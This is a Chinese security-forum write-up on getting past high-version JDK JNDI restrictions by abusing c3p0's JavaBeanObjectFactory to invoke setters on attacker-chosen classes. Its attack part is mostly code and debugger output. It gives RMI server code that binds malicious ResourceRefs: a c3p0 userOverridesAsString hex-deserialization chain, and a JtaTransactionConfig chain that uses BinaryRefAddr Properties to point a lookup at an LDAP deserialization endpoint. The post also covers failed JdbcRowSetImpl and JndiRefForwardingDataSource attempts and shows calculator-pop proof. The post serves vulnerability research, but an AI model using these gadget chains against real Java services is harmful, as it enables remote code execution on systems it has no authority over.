奇安信攻防社区-高版本 jndi 调用 setter 方法拓展攻击面

高版本 jndi 调用 setter 方法拓展攻击面

这篇文章主要说了 JavaBeanObjectFactory 工厂类的 getobjectinstance 方法可以调用一些类的 setter 方法，但是跟踪过程中发现有一些限制，调用 setter 方法的顺序是固定的，不能够设置，因为这个原因导致 JdbcRowSetImpl 利用失败，然后需要我们的类的构造函数为 public，最后成功的是 JtaTransactionConfig，但是因为传入的 ref 属性不是 string，需要使用 BinaryRefAddr

高版本 jndi 调用 setter 方法拓展攻击面
==========================

总结
--

前言
--

前端时间也是研究了一下高版本的 jndi，然后看见了一些 paylaod，其中一个 paylaod 是打的 c3p0 的反序列化，属于是新东西了，学到了，听说是 unam4 师傅分享的，<https://xz.aliyun.com/u/52701>

本地工厂类
-----

这里只讲本地工厂类

我们看到 RMI 这部分相关的代码部分

```java
private Object decodeObject(Remote r, Name name) throws NamingException {
    try {
        Object obj = (r instanceof RemoteReference)
                    ? ((RemoteReference)r).getReference()
                    : (Object)r;

/*
            * Classes may only be loaded from an arbitrary URL codebase when
            * the system property com.sun.jndi.rmi.object.trustURLCodebase
            * has been set to "true".
            */

// Use reference if possible
        Reference ref = null;
        if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }

if (ref != null &amp;&amp; ref.getFactoryClassLocation() != null &amp;&amp;
            !trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        }
        return NamingManager.getObjectInstance(obj, name, this,
                                                environment);
//  } catch (NamingException e) { ...
}
```

我们的目的就是能够成功的 `return NamingManager.getObjectInstance(obj, name, this, environment);`

我们还是回到代码部分，什么时候会抛出异常

```java
 if (ref != null &amp;&amp; ref.getFactoryClassLocation() != null &amp;&amp;
            !trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        }
```

不抛出异常的话就是  
1、令 ref 为空，或者  
2、令 ref.GetFactoryClassLocation() 为空  
3、令 trustURLCodebase 为 true

我们之前一直使用的是 3，因为这个就是个配置，而且之前一直默认为 true，但是高版本就不行了

但是还有 1 和 2，就有两种思路

我们看到 1 ref 为空，我们看到给 ref 赋值的地方

```java
if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }
```

需要我们的 ref 既不是 Reference 也不是 Referenceable，即不能是对象引用，只能是原始对象

第二种  
Ref.GetFactoryClassLocation() 返回空，让 ref 对象的 classFactoryLocation 属性为空，这个属性表示引用所指向对象的对应 factory 名称，对于远程代码加载而言是 codebase，即远程代码的 URL 地址(可以是多个地址，以空格分隔)，这正是我们针对低版本的利用方法；如果对应的 factory 是本地代码，则该值为空，这是绕过高版本 JDK 限制的关键

第一种不好利用：客户端直接实例化本地对象，远程 RMI 没有操作的空间

我们这里是利用的第二种

继续看 NamingManager 的解析过程

```java
// javax/naming/spi/NamingManager.java
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                        Hashtable&lt;?,?&gt; environment)
    throws Exception
{
    // ...
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

} else {
            // if reference has no factory, check for addresses
            // containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

// try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}
```

在处理 Reference 对象时，会先调用 ref.GetFactoryClassName() 获取对应工厂类的名称，如果为空则通过网络去请求，即上述链接前文的情况；如果不为空则直接实例化工厂类，并通过工厂类去实例化一个对象并返回。

但是因为高版本，肯定是不能通过 Url 去获取了，我们只能找本地的 Factory

因此，我们实际上可以指定一个存在于目标 classpath 中的工厂类名称，交由这个工厂类去实例化实际的目标类(即引用所指向的类)，从而间接实现命令执行

JavaBeanObjectFactory&amp;C3P0JavaBeanObjectFactory
---------------------------------------------------

查看了众多的 getObjectInstance 后看到 JavaBeanObjectFactory 类，然后C3P0JavaBeanObjectFactory类也是可以的

![image-20241025181726097](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-ec368c9ee3613e03fd0eb5647b3e79f1ee6382f5.png)

它的方法如下

```java
public Object getObjectInstance(Object refObj, Name name, Context nameCtx, Hashtable env)
throws Exception
   {
if (refObj instanceof Reference)
    {
    Reference ref = (Reference) refObj;
    Map refAddrsMap = new HashMap();
    for (Enumeration e = ref.getAll(); e.hasMoreElements(); )
        {
        RefAddr addr = (RefAddr) e.nextElement();
        refAddrsMap.put( addr.getType(), addr );
        }
    Class beanClass = Class.forName( ref.getClassName() );
    Set refProps = null;
    RefAddr refPropsRefAddr = (BinaryRefAddr) refAddrsMap.remove( JavaBeanReferenceMaker.REF_PROPS_KEY );
    if ( refPropsRefAddr != null )
        refProps = (Set) SerializableUtils.fromByteArray( (byte[]) refPropsRefAddr.getContent() );
    Map propMap = createPropertyMap( beanClass, refAddrsMap );
    return findBean( beanClass, propMap, refProps );
    }
else
    return null;
   }
```

其实我们光从类名上去理解是一个 javabean，而 javabean 最常见的就是属性的 setter 和 getter 方法了  
我们跟进 findBean 方法

```java
protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception
    {
    Object bean = createBlankInstance( beanClass );
    BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
    PropertyDescriptor[] pds = bi.getPropertyDescriptors();

for (int i = 0, len = pds.length; i &lt; len; ++i)
        {
        PropertyDescriptor pd = pds[i];
        String propertyName = pd.getName();
        Object value = propertyMap.get( propertyName );
        Method setter = pd.getWriteMethod();
        if (value != null)
            {
            if (setter != null)
                setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } );
            else
                {
                //System.err.println(this.getClass().getName() + ": Could not restore read-only property '" + propertyName + "'.");
                if (logger.isLoggable( MLevel.WARNING ))
                    logger.warning(this.getClass().getName() + ": Could not restore read-only property '" + propertyName + "'.");
                }
            }
        else
            {
            if (setter != null)
                {
                if (refProps == null || refProps.contains( propertyName ))
                    {
                    //System.err.println(this.getClass().getName() +
                    //": WARNING -- Expected writable property '" + propertyName + "' left at default value");
                    if (logger.isLoggable( MLevel.WARNING ))
                        logger.warning(this.getClass().getName() + " -- Expected writable property ''" + propertyName + "'' left at default value");
                    }
                }
            }
        }

return bean;
    }
}
```

代码有点小长，但是调用 setter 方法的逻辑确实很清晰的

获取属性名称并从 propertyMap 中查找对应的值。  
获取属性的写方法（setter）。  
如果找到对应的值且不为 null：  
如果有写方法，则调用该方法将值赋给 Bean 的相应属性。如果值是 NULL\_TOKEN（一个假定的常量，表示应赋值为 null），则将属性设置为 null。

Jndi+c3p0 组合拳
-------------

### 原理分析

我们知道出口类无非就是可以调用方法，或者加载恶意字节码，在 c3P0 中有一个方法可以加载 16 进制的字节，并且可以反序列化它

这里给一个链子的大概路径，方便分析  
首先还是需要我们 fastjson 调用一个 setter 方法

```java
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString---VetoableChangeSupport.fireVetoableChange--- WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange---C3P0ImplUtils.parseUserOverridesAsString---SerializableUtils.fromByteArray---SerializableUtils.deserializeFromByteArray---readObject
```

这就是完整的路径了

### 漏洞复现

客户端代码

```java
package JNDI_RMI;
import javax.naming.InitialContext;

public class RMI_Cilent_ByPass {
    public static void main(String[]args) throws Exception{
        String string = "rmi://localhost:8888/c3p0";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

```

服务端代码

```java
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8888);
    ResourceRef resourceRef =c3p0();
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
    registry.bind("c3p0", referenceWrapper);
    System.out.println("Registry运行中......");
}
private static ResourceRef c3p0() throws IOException {
    ResourceRef ref=new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",null,"","",true,"com.mchange.v2.naming.JavaBeanObjectFactory",null);
    ref.add(new StringRefAddr("userOverridesAsString",new String(Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\src\\1.txt")))));
    return ref;
}
```

然后先运行服务端，再运行客户端  
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-aedbd4ebe1f6b0996c701fa36b88694ea9ec6498.png)  
弹出计算器，报错是正常的

### 调试分析

```java
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, RMI_Cilent_ByPass (JNDI_RMI)
```

进入 JavaBeanObjectFactory 的 getObjectInstance 方法  
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-0985907f833e15225791799a94c711143fec63ea.png)

也是来到主角这里了

其中 refAddrsMap 会获取他的所有属性和值保存为 key=value 的形式  
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-94368dcaef324bad89b054558a75a096b292f42d.png)

然后经过 Map propMap = createPropertyMap( beanClass, refAddrsMap );处理  
得到了我们有 value 的属性

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-47e933ca0f1085cc837802b78517f89ac1d57007.png)

进入 findBean 方法

```java
protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception
   {
Object bean = createBlankInstance( beanClass );
BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
PropertyDescriptor[] pds = bi.getPropertyDescriptors();

for (int i = 0, len = pds.length; i &lt; len; ++i)
    {
    PropertyDescriptor pd = pds[i];
    String propertyName = pd.getName();
    Object value = propertyMap.get( propertyName );
    Method setter = pd.getWriteMethod();
    if (value != null)
        {
        if (setter != null)
            setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } );
        else
            {
            //System.err.println(this.getClass().getName() + ": Could not restore read-only property '" + propertyName + "'.");
            if (logger.isLoggable( MLevel.WARNING ))
                logger.warning(this.getClass().getName() + ": Could not restore read-only property '" + propertyName + "'.");
            }
        }
    else
        {
        if (setter != null)
            {
            if (refProps == null || refProps.contains( propertyName ))
                {
                //System.err.println(this.getClass().getName() +
                //": WARNING -- Expected writable property '" + propertyName + "' left at default value");
                if (logger.isLoggable( MLevel.WARNING ))
                    logger.warning(this.getClass().getName() + " -- Expected writable property ''" + propertyName + "'' left at default value");
                }
            }
        }
    }

return bean;
   }
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-9c9ea95f054de212c58c04c4e124da6fdb5351b4.png)

来到SetUserOverridesAsString 方法

```java
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
    {
        String oldVal = this.userOverridesAsString;
        if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
            vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
        this.userOverridesAsString = userOverridesAsString;
    }
```

看名字就知道是什么意思了，就是给 UserOverridesAsString 这个 set 一个值，首先给 oldVal 赋值为原始的值为 null，然后使用 eqOrBothNull 来进行一个判断，因为我是为了提高代码审计能力，一些不必要分析的我也分析了好吧，如果不是主链上的内容，可以不看

```java
private boolean eqOrBothNull( Object a, Object b )
    {
        return
            a == b ||
            (a != null &amp;&amp; a.equals(b));
    }
```

代码很简单，就是判断两个对象是不是满足 `a==b`，因为 oldVal 是为 null，userOverridesAsString 是我们传入的 hex 字节码，当然是不相等

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-32f19911ce2ac36d7d035f3270080d801e2e59d1.png)

所以 if 成立，进入 VetoableChangeSupport.FireVetoableChange

```java
 public void fireVetoableChange(String propertyName, Object oldValue, Object newValue)
            throws PropertyVetoException {
        if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
            fireVetoableChange(new PropertyChangeEvent(this.source, propertyName, oldValue, newValue));
        }
    }
```

因为满足上面 if 情况再次进入到一样的构造方法，但是传了新的值

```java
public void fireVetoableChange(PropertyChangeEvent event)
            throws PropertyVetoException {
        Object oldValue = event.getOldValue();//获取对应的值
        Object newValue = event.getNewValue();//获取对应的值
        if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
            String name = event.getPropertyName();//event就是刚刚new的PropertyChangeEvent
            throws PropertyVetoException {
        Object oldValue = event.getOldValue();
        Object newValue = event.getNewValue();
        if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
            String name = event.getPropertyName();

VetoableChangeListener[] common = this.map.get(null);
            VetoableChangeListener[] named = (name != null)
                        ? this.map.get(name)
                        : null;

VetoableChangeListener[] listeners;
            if (common == null) {
                listeners = named;
            }
            else if (named == null) {
                listeners = common;
            }
            else {
                listeners = new VetoableChangeListener[common.length + named.length];
                System.arraycopy(common, 0, listeners, 0, common.length);
                System.arraycopy(named, 0, listeners, common.length, named.length);
            }
            if (listeners != null) {
                int current = 0;
                try {
                    while (current &lt; listeners.length) {
                        listeners[current].vetoableChange(event);
                        current++;
                    }
                }
                catch (PropertyVetoException veto) {
                    event = new PropertyChangeEvent(this.source, name, newValue, oldValue);
                    for (int i = 0; i &lt; current; i++) {
                        try {
                            listeners[i].vetoableChange(event);
                        }
                        catch (PropertyVetoException exception) {
                            // ignore exceptions that occur during rolling back
                        }
                    }
                    throw veto; // rethrow the veto exception
                }
            }
        }
    }

VetoableChangeListener[] common = this.map.get(null);
            VetoableChangeListener[] named = (name != null)
                        ? this.map.get(name)
                        : null;

简单的我都注释在代码里面了，难的我会在这分析 `VetoableChangeListener[] common = this.map.get(null);` 这个 common 是怎么来的我弄了半天，首先看这个 map 是什么

```java
private VetoableChangeListenerMap map = new VetoableChangeListenerMap();
```

是一个 VetoableChangeListenerMap，然后这个类里面没有 get 方法，

```java
private static final class VetoableChangeListenerMap extends ChangeListenerMap
```

但是继承了 ChangeListenerMap，所以会调用它的 get 方法

```java
public final synchronized L[] get(String name) {
        return (this.map != null)
                ? this.map.get(name)
                : null;
    }
```

就是一系列判断  
为 listeners 赋值为 common  
所以到if (listeners != null)判断时就成立，进入 `listeners[current].vetoableChange(event);` 也就是  
**WrapperConnectionPoolDataSourceBase.VetoableChange 方法**

会对propName 进行判断 `if ( "connectionTesterClassName".equals( propName ) )` 不成立，下一个 `else if ("userOverridesAsString".equals( propName ))` 成立，进入里面的代码

```java
 WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
```

调用**C3P0ImplUtils.ParseUserOverridesAsString( (String) val );**并传入 val，也就是我们的 hex 字节码

```java
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
    { 
    if (userOverridesAsString != null)
        {
        String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
        return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
        }
    else
        return Collections.EMPTY_MAP;
    }
```

先对我们字节码进行一个截取，我这里举个例子，我们的hex是为 `HASM_HEADER = "HexAsciiSerializedMap"; HexAsciiSerializedMap:ACED00057372002E6A61766`  
所以截取后就是除掉头部和: `ACED00057372002E6A61766`

```java
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
```

然后把这个转为 16 进制

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-3c8410c3ef826f43bdac669ec6ed1465f0f1fd32.png)

进入**SerializableUtils.FromByteArray( serBytes ) );**  
后面就比较简单了，就不详细讲了

```java
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    { 
    Object out = deserializeFromByteArray( bytes ); 
    if (out instanceof IndirectlySerialized)
        return ((IndirectlySerialized) out).getObject();
    else
        return out;
    }
```

把我们的数据传入 deserializeFromByteArray( bytes );

```java
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    {
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
    }
```

就是反序列化我们的数据字节，得到我们的恶意代码，然后就完成啦，nice！！！

Jndi+jndi
---------

哈哈哈哈，其实能调用 setter 方法的话，思路真的太多了，上面的那种情况不出网利用是非常不错的，出网的话我们还可以套一层 jndi  
通过 setter 方法调用 jndi 的例子是非常多的

### JdbcRowSetImpl 失败利用

第一想到的肯定是 jdk 的原生类 JdbcRowSetImpl

#### 漏洞原理

正常利用的话按理来说调用过程是这样的  
前面的都一样，会调用我们的 setDataSourceName 方法，我们跟进

```java
   public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {            super.setDataSourceName(var1);
        }
    }
```

因为这个时候我们的 datasourcename 为 null

所以进入到 super.SetDataSourceName(var1);

```java
 public void setDataSourceName(String name) throws SQLException {

if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

URL = null;
    }
```

Name 是已经有值的，就是我们设置的恶意值，为我们的 ldap 恶意地址

然后进入到 dataSource = name;，为 dataSource 赋值

然后之后会来到

```java
public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

}
```

然后就会走到 setAutoCommit 方法下

```java
 public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

}
```

Var1 也就是我们传入的"autoCommit\\":true，会进入 connet 方法

```java
 private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null &amp;&amp; !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }
```

Var1.Lookup(this.GetDataSourceName()):

这里就会利用远程的恶意类实现恶意代码执行

#### 失败原因

服务端代码

```java
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8888);
    ResourceRef resourceRef =jndi();
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
    registry.bind("jndi", referenceWrapper);
    System.out.println("Registry运行中......");
}
private static ResourceRef jndi() throws IOException {
    ResourceRef ref=new ResourceRef("com.sun.rowset.JdbcRowSetImpl",null,"","",true,"com.mchange.v2.naming.JavaBeanObjectFactory",null);
    ref.add(new StringRefAddr("autoCommit","true"));
    ref.add(new StringRefAddr("dataSourceName","ldap://127.0.0.1:1389/deserialCommonsCollections6"));

return ref;
}
```

客户端代码

```java
package JNDI_RMI;
import javax.naming.InitialContext;

public class RMI_Cilent_ByPass {
    public static void main(String[]args) throws Exception{
        String string = "rmi://localhost:8888/jndi";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

```

当我们运行时会报错

```java
Caused by: java.lang.NullPointerException
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4071)
```

报了一个 setAutoCommit 的空指针的错误  
我们跟踪一下

调用栈如下

```java
setAutoCommit:4057, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
findBean:146, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:72, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, RMI_Cilent_ByPass (JNDI_RMI)
```

```java
public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}
```

首先我们的 var1 是有值的，问题出在 conn，跟进 connect 方法

```java
private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null &amp;&amp; !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}
```

原因是 this.GetDataSourceName()为空

```java
public String getDataSourceName() {
    return dataSource;
}
```

到这也就明白了我们希望先执行 setDataSourceName，这样 setAutoCommit 才不会报错  
这主要和 findbaen 方法有关系  
可以看到这里依次调用 setter 是有顺序的  
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-5b6876d08eb41903925151caf2508c1287ac2087.png)

导致没有办法利用

### JndiRefForwardingDataSource 失败

#### 漏洞原理

参 考http://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E4%B8%83%E2%80%94%E2%80%94%E5%85%B6%E4%BB%96Gadgets/#0x03-%E5%9F%BA%E4%BA%8EC3P0-JndiRefForwardingDataSource%E7%9A%84%E5%88%A9%E7%94%A8%E9%93%BE

原理 mi1k7ea师傅有讲到

简单来讲就是 JndiRefDataSourceBase.SetJndiName()设置 jndiName 属性值为我们的恶意 LDAP 服务地址，接着调用 JndiRefForwardingDataSource.SetLoginTimeout()函数设置 loginTimeout 属性值，但是中途调用了 inner 方法

```java
private synchronized DataSource inner() throws SQLException
   {
if (cachedInner != null)
    return cachedInner;
else
    {
    DataSource out = dereference();
    if (this.isCaching())
        cachedInner = out;
    return out;
    }
   }
```

然后调用了 dereference 方法

```java
private DataSource dereference() throws SQLException
   {
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try
    {
    InitialContext ctx;
    if (jndiEnv != null)
        ctx = new InitialContext( jndiEnv );
    else
        ctx = new InitialContext();
    if (jndiName instanceof String)
        return (DataSource) ctx.lookup( (String) jndiName );
    else if (jndiName instanceof Name)
        return (DataSource) ctx.lookup( (Name) jndiName );
    else
        throw new SQLException("Could not find ConnectionPoolDataSource with " +
                   "JNDI name: " + jndiName);
    }
catch( NamingException e )
    {
    //e.printStackTrace();
    if ( logger.isLoggable( MLevel.WARNING ) )
        logger.log( MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", e );
    throw SqlUtils.toSQLException( e ); 
    }
   }
```

到这就已经明白原理了

#### 失败原因

这里简单给出服务端的代码  
这里过程中还换了服务的代码测试出了这种方法的限制

```java
private static ResourceRef jndi() throws IOException {
    ResourceRef ref=new ResourceRef("com.mchange.v2.c3p0.JndiRefForwardingDataSource",null,"","",true,"com.mchange.v2.naming.JavaBeanObjectFactory",null);
    ref.add(new StringRefAddr("loginTimeout","0"));
    ref.add(new StringRefAddr("JndiName","ldap://127.0.0.1:1389/deserialCommonsCollections6"));
    return ref;
}
```

调用栈

```java
getObjectInstance:71, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, RMI_Cilent_ByPass (JNDI_RMI)
```

在 Map propMap = createPropertyMap( beanClass, refAddrsMap );行代码中  
因为 createPropertyMap 会筛选出引用的类，也就是我们服务端的那些类，但是有些条件

```java
if ( addr instanceof StringRefAddr )
   {
String content = (String) ((StringRefAddr) addr).getContent();
if ( Coerce.canCoerce( propertyType ) )
    out.put( propertyName, Coerce.toObject( content, propertyType ) );
else
    {
    PropertyEditor pe = BeansUtils.findPropertyEditor( pd );
    pe.setAsText( content );
    out.put( propertyName, pe.getValue() );
    }
   }
```

因为我们的是引用类，肯定会进入 if 为真的部分  
然后能否 put 取决于 Coerce.CanCoerce( propertyType )  
跟进 CanCoerce 方法

```java
public static boolean canCoerce( Class cl )
{ return CAN_COERCE.contains( cl ); }
```

判断我们的 class 是否为可存储类型  
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-075039cba6b4d6e3c6c0c89e212495d7cfa260cd.png)  
但是我们的 jndiname 类型是 object

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-595ed85ffb19429a11ef411364d322ebcf9bbeb4.png)

所以没有利用的可能，然后我把 jndiname 这个属性删除又发现了一个限制  
服务端如下

这样做主要是为了了解有哪些限制

然后这个方法是在 findBean 方法中报错的

因为这个方法的第一行代码就是  
Object bean = createBlankInstance( beanClass );

```java
protected Object createBlankInstance(Class beanClass) throws Exception
{ return beanClass.newInstance(); }
```

相当于直接实例化这个 class 对象

```java
Caused by: java.lang.IllegalAccessException: Class com.mchange.v2.naming.JavaBeanObjectFactory can not access a member of class com.mchange.v2.c3p0.JndiRefForwardingDataSource with modifiers "public"
at sun.reflect.Reflection.ensureMemberAccess(Reflection.java:102)
```

需要我们有 public 构造函数

### JtaTransactionConfig 成功

#### 寻找过程和原理

最后就是纯翻阅 paylaod 啊，就去 jackson 和 fastjson 的 payload 里面去找，然后每个去看一下，差点没有看吐

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-c20a88cfd2833d413a85be7a554d733b73696a6a.png)

```java
public void setProperties(Properties props) throws SQLException, TransactionException {
    String utxName = null;

try {
        utxName = (String)props.get("UserTransaction");
        InitialContext initCtx = new InitialContext();
        this.userTransaction = (UserTransaction)initCtx.lookup(utxName);
    } catch (NamingException var4) {
        throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + ").  Cause: " + var4);
    }
}
```

这个 set 方法太典了，而且构造函数也是 public  
各方面都完美

#### 漏洞复现

然后在构造 paylaod 时候遇到了难题，仔细看他的 setter 方法，接受的是一个 Properties 对象，我们就不能再使用 StringRefAddr 了。除了 StringRefAddr  
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-6782d38715a8dc9f5275205a07cec33ab5cbaa2b.png)  
还有 BinaryRefAddr，就和我们的序列化一样的

Paylaod 如下

```java
private static ResourceRef jndi() throws IOException {
    ResourceRef ref=new ResourceRef("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",null,"","",true,"com.mchange.v2.naming.JavaBeanObjectFactory",null);
    Properties properties=new Properties();
    properties.put("UserTransaction", "ldap://127.0.0.1:1389/deserialCommonsCollections6");
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(properties);
    byte [] bytes=byteArrayOutputStream.toByteArray();
    ref.add(new BinaryRefAddr("properties",bytes));
    return ref;
}
```

运行客户端弹出计算器

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-d26d4cb0557b91418afe89adc33cb2e997be243b.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-b669fb7014ae52d16614422fb5efd46b8d4dcc24.png)

人差点找傻了，终于也是弹出来了

#### 调试分析

```java
getObjectInstance:72, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, RMI_Cilent_ByPass (JNDI_RMI)
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-91a26b0dd143fb58d4247c1c3dc0a3c1944467e0.png)

可以看到已经传入了我们需要的数据  
然后进入 findBean 方法

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-21b11e659e9c919fb7170128e6a055c1bd69606f.png)  
然后就是 setProperties 方法

```java
public void setProperties(Properties props) throws SQLException, TransactionException {
    String utxName = null;

之后就是 jndi 了

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-f0fe47dd9a9e62ef74c501e0fc510475784a7d84.png)

发表于 2025-02-17 09:00:01
阅读 ( 495 )
分类：代码审计

1 条评论

花北城 4天前

师傅我想问一下利用JNDI调用JNDI这样也可以绕过高版本的JNDI吗